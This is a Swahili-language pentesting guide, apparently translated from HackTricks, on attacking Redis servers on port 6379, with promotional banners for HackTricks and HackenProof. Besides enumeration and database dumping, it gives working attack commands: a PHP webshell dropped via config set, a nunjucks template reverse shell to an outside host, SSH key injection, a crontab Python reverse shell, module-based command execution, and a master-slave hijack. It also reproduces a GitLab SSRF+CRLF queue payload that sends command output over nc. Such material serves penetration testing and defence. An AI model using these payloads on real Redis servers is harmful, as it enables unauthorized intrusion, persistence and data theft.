19 KiB
6379 - Kupima Usalama wa Redis
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za mdudu!
Machapisho ya Kudukua
Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kudukua
Taarifa za Kudukua za Muda Halisi
Kaa sasa na ulimwengu wa kudukua wenye kasi kupitia habari za muda halisi na ufahamu
Matangazo ya Karibuni
Baki mwelekezi na zawadi mpya za mdudu zinazozinduliwa na sasisho muhimu za jukwaa
Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!
Taarifa Msingi
Kutoka nyaraka: Redis ni chanzo wazi (lenye leseni ya BSD), duka la muundo wa data la kumbukumbu, hutumiwa kama database, cache na mpatanishi wa ujumbe).
Kwa chaguo-msingi Redis hutumia itifaki inayotegemea maandishi ya wazi, lakini lazima ukumbuke inaweza pia kutekeleza ssl/tls. Jifunze jinsi ya kuendesha Redis na ssl/tls hapa.
Bandari ya chaguo-msingi: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Uchambuzi wa Kiotomatiki
Baadhi ya zana za kiotomatiki zinazoweza kusaidia kupata habari kutoka kwa kipengele cha redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Uchambuzi wa Mikono
Bango
Redis ni itifaki inayotegemea maandishi, unaweza tu kutuma amri kwenye soketi na thamani zilizorudishwa zitaweza kusomwa. Pia kumbuka kwamba Redis inaweza kuendeshwa kwa kutumia ssl/tls (ingawa hii ni ya kushangaza sana).
Katika kipengele cha kawaida cha Redis unaweza tu kuunganisha kutumia nc
au pia unaweza kutumia redis-cli
:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
Amri ya kwanza unaweza kujaribu ni info
. Inaweza kurudisha matokeo na habari ya kipengee cha Redis au kitu kama ifuatavyo kurudishwa:
-NOAUTH Authentication required.
Katika kesi hii ya mwisho, hii inamaanisha kwamba unahitaji sifa halali ili kupata ufikiaji wa kipengee cha Redis.
Uthibitishaji wa Redis
Kwa chaguo-msingi Redis inaweza kupatikana bila sifa. Walakini, inaweza kusanidiwa ili kusaidia nenosiri pekee, au jina la mtumiaji + nenosiri.
Inawezekana kuweka nenosiri katika faili ya redis.conf kwa kutumia parameter requirepass
au kwa muda hadi huduma ianzishwe upya kwa kuunganisha na kukimbia: config set requirepass p@ss$12E45
.
Pia, jina la mtumiaji linaweza kusanidiwa kwa kutumia parameter masteruser
ndani ya faili ya redis.conf.
{% hint style="info" %}
Ikiwa nenosiri pekee limewekwa, jina la mtumiaji linalotumiwa ni "default".
Pia, kumbuka kwamba hakuna njia ya kugundua kwa nje ikiwa Redis ilisanidiwa na nenosiri pekee au jina la mtumiaji + nenosiri.
{% endhint %}
Katika hali kama hii utahitaji kupata sifa halali ili kuingiliana na Redis hivyo unaweza kujaribu kuvunja nguvu.
Ikiwa umepata sifa halali unahitaji kuthibitisha kikao baada ya kuanzisha uhusiano na amri:
AUTH <username> <password>
Mandhari halali yatajibiwa na: +OK
Uchambuzi uliothibitishwa
Ikiwa seva ya Redis inaruhusu mawasiliano yasiyo na jina au ikiwa umepata mamlaka halali, unaweza kuanzisha mchakato wa uchambuzi kwa huduma kwa kutumia amri zifuatazo:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Amri zingine za Redis zinaweza kupatikana hapa na hapa.
Tafadhali kumbuka kwamba Amri za Redis za kipengee zinaweza kubadilishwa jina au kuondolewa katika faili ya redis.conf. Kwa mfano, mstari huu utaondoa amri ya FLUSHDB:
rename-command FLUSHDB ""
Zaidi kuhusu kusanidi kwa usalama huduma ya Redis hapa: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Unaweza pia kuangalia muda halisi amri za Redis zilizotekelezwa kwa kutumia amri monitor
au kupata 25 ya amri zenye kuchelewa zaidi kwa kutumia slowlog get 25
Pata habari zaidi kuhusu amri zaidi za Redis hapa: https://lzone.de/cheat-sheet/Redis
Kudumpisha Database
Ndani ya Redis databases ni nambari zinazoanza na 0. Unaweza kujua kama yeyote anatumika kwa kutumia matokeo ya amri info
ndani ya sehemu ya "Keyspace":
Au unaweza tu kupata keyspaces zote (databases) kwa:
INFO keyspace
Katika mfano huo database 0 na 1 zinatumika. Database 0 ina funguo 4 na database 1 ina 1. Kwa chaguo-msingi Redis itatumia database 0. Ili kudump mfano wa database 1 unahitaji kufanya:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
Ikiwa unapata kosa la -WRONGTYPE Operation against a key holding the wrong kind of value
wakati unatekeleza GET <KEY>
ni kwa sababu ufunguo huenda usiwe string au nambari na unahitaji mwendeshaji maalum kuonyesha hiyo.
Ili kujua aina ya ufunguo, tumia amri ya TYPE
, mfano hapa chini kwa ufunguo wa orodha na hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Dump the database with npm redis-dump au python redis-utils
Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
Machapisho ya Kudukua
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za kudukua
Taarifa za Kudukua za Wakati Halisi
Kaa sawa na ulimwengu wa kudukua wenye kasi kupitia habari za wakati halisi na ufahamu
Matangazo ya Karibuni
Baki mwelekezwa na tuzo za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!
Redis RCE
Kifaa cha Mwingiliano
redis-rogue-server inaweza kupata kiotomatiki kifaa cha mwingiliano au kifaa cha mwingiliano wa nyuma kwenye Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Maelezo kutoka hapa. Lazima ujue njia ya folda ya Tovuti:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Ikiwa kuna kipekee cha ufikiaji wa webshell, unaweza kusafisha database baada ya kufanya nakala rudufu na kujaribu tena, kumbuka kurejesha database.
Kigezo cha Webshell
Kama ilivyokuwa katika sehemu iliyopita unaweza pia kubadilisha faili ya templeti ya html ambayo italetwa na injini ya templeti na kupata shell.
Kwa mfano, kufuatia hii andishi, unaweza kuona kwamba mkaidi aliingiza rev shell katika html iliyotafsiriwa na injini ya templeti ya nunjucks:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
{% hint style="warning" %} Tafadhali kumbuka mifumo kadhaa ya templeti hufanya cache ya templeti kwenye kumbukumbu, hivyo hata kama unazibadilisha, ile mpya haitatekelezwa. Katika hali hizi, au mwandishi aliacha upya wa kiotomatiki ukiwa hai au unahitaji kufanya DoS juu ya huduma (na kutarajia itazinduliwa upya kiotomatiki). {% endhint %}
SSH
Mfano kutoka hapa
Tafadhali fahamu kuwa matokeo ya config get dir
yanaweza kubadilika baada ya amri zingine za kuvamia kwa mikono. Pendekeza kuikimbia kwanza mara tu baada ya kuingia kwenye Redis. Katika matokeo ya config get dir
unaweza kupata nyumbani kwa mtumiaji wa redis (kawaida /var/lib/redis au /home/redis/.ssh), na ukijua hili unajua mahali unaweza kuandika faili ya authenticated_users
ili kupata ufikiaji kupitia ssh na mtumiaji redis. Ikiwa unajua nyumbani mwa mtumiaji mwingine halali ambapo una ruhusa ya kuandika unaweza pia kuitumia:
- Unda jozi ya ufunguo wa umma-binafsi ya ssh kwenye kompyuta yako:
ssh-keygen -t rsa
- Andika ufunguo wa umma kwenye faili:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- Ingiza faili kwenye redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- Hifadhi ufunguo wa umma kwenye faili ya authorized_keys kwenye seva ya redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Hatimaye, unaweza ssh kwenye seva ya redis na ufunguo wa binafsi: ssh -i id_rsa redis@10.85.0.52
Hii mbinu imeautomatishwa hapa: https://github.com/Avinash-acid/Redis-Server-Exploit
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
Mfano wa mwisho ni kwa Ubuntu, kwa Centos, amri hapo juu inapaswa kuwa: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Njia hii inaweza pia kutumika kupata bitcoin: yam
Pakia Moduli ya Redis
- Kufuata maagizo kutoka https://github.com/n0b0dyCN/RedisModules-ExecuteCommand unaweza kukusanya moduli ya redis kutekeleza amri za aina yoyote.
- Kisha unahitaji njia ya kupakia moduli iliyokusanywa
- Pakia moduli iliyopakiwa wakati wa uendeshaji kwa kutumia
MODULE LOAD /path/to/mymodule.so
- Orodhesha moduli zilizopakiwa kuhakikisha imepakia kwa usahihi:
MODULE LIST
- Tekeleza amri:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Pakua moduli wakati wowote unapotaka:
MODULE UNLOAD mymodule
Kizuizi cha Sanduku la LUA
Hapa unaweza kuona kuwa Redis hutumia amri EVAL kutekeleza Lua code sandboxed. Katika chapisho lililounganishwa unaweza kuona jinsi ya kulaghai kutumia kazi ya dofile, lakini kwa mujibu wa hili sio tena linalowezekana. Kwa njia yoyote, ikiwa unaweza kupita kizuizi cha Lua unaweza kutekeleza amri za aina yoyote kwenye mfumo. Pia, kutoka kwenye chapisho hilo hilo unaweza kuona baadhi ya chaguzi za kusababisha DoS.
Baadhi ya CVEs za kutoroka kutoka LUA:
Moduli ya Bwana-Mtumwa
Operesheni zote za bwana wa redis zinasawazishwa moja kwa moja kwa mtumwa wa redis, ambayo inamaanisha tunaweza kuchukulia udhaifu wa redis kama mtumwa wa redis, uliounganishwa na bwana wa redis ambao tunadhibiti, kisha tunaweza kuingiza amri kwenye redis yetu wenyewe.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF kuzungumza na Redis
Ikiwa unaweza kutuma ombi la maandishi wazi kwa Redis, unaweza kuwasiliana nayo kwani Redis itasoma ombi line kwa line na kujibu kwa makosa kwa mistari ambayo haielewi:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Kwa hivyo, ikiwa utapata SSRF vuln kwenye tovuti na unaweza kudhibiti baadhi ya headers (labda na CRLF vuln) au POST parameters, utaweza kutuma amri za kupendelea kwa Redis.
Mfano: Gitlab SSRF + CRLF hadi Shell
Katika Gitlab11.4.7 iligunduliwa SSRF vulnerability na CRLF. SSRF vulnerability ilikuwa katika import project from URL functionality wakati wa kuunda mradi mpya na kuruhusu kupata IPs za kupendelea kwa mfano [0:0:0:0:0:ffff:127.0.0.1] (hii itapata 127.0.0.1), na CRLF vuln ilidukuliwa kwa kuongeza tu wahusika wa %0D%0A kwenye URL.
Kwa hivyo, ilikuwa inawezekana kutumia vulnerabilities hizi kuzungumza na kipengele cha Redis ambacho kinasimamia foleni kutoka gitlab na kutumia foleni hizo kwa kupata utekelezaji wa kanuni. Payload ya udanganyifu wa foleni ya Redis ni:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
Na ombi la URL encode linalotumia SSRF na CRLF kutekeleza whoami
na kutuma pato kupitia nc
ni:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Kwa sababu fulani (kama ilivyokuwa kwa mwandishi wa https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ ambapo habari hii ilitoka) uchomaji ulifanya kazi na mpango wa git
na sio na mpango wa http
.
Jiunge na HackenProof Discord server ili kushirikiana na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa!
Machapisho ya Udukuzi
Shiriki na yaliyomo yanayochimba kina cha udukuzi na changamoto zake
Taarifa za Udukuzi za Wakati Halisi
Kaa sawa na ulimwengu wa udukuzi wenye kasi kupitia taarifa za habari za wakati halisi na ufahamu
Matangazo ya Karibuni
Baki mwelekezi na tuzo mpya za makosa zinazoanzishwa na sasisho muhimu za jukwaa
Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!
Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.